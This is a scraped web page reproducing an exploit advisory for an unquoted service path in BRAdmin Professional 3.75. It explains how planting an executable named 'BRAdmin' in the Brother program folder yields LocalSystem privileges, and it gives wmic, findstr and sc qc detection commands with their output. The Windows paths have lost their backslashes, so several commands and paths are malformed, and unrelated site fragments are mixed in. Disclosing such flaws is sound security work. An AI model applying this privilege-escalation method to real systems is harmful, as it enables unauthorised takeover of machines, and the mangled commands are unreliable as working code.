August 1, 2021

Laptop Search

News Site

BRAdmin Professional 3.75 – ‘BRA_Scheduler’ Unquoted Service Path

Sonlogger - SuperAdmin Account Creation / Information Disclosure

# Exploit Title: BRAdmin Professional 3.75 - 'BRA_Scheduler' Unquoted Service Path
# Date: 2021-03-17
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage:
# Software Link:
# Version: 3.75.0000
# Tested on: Windows 10
# Source:


This software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices. 
If a user can insert a executable which is called as "BRAdmin" under the "C:Program Files (x86)Brother" , local system privileges could be obtained by the user. 

#Detection of unquoted service path:

C:>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i "BRAdmin" |findstr /i /v """
Brother BRAdminPro Scheduler
C:Program Files (x86)BrotherBRAdmin Professional 3bratimer.exe                 

C:>sc qc BRA_Scheduler
[SC] QueryServiceConfig SUCCESS

        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:Program Files (x86)BrotherBRAdmin Professional 3bratimer.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Brother BRAdminPro Scheduler
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Source link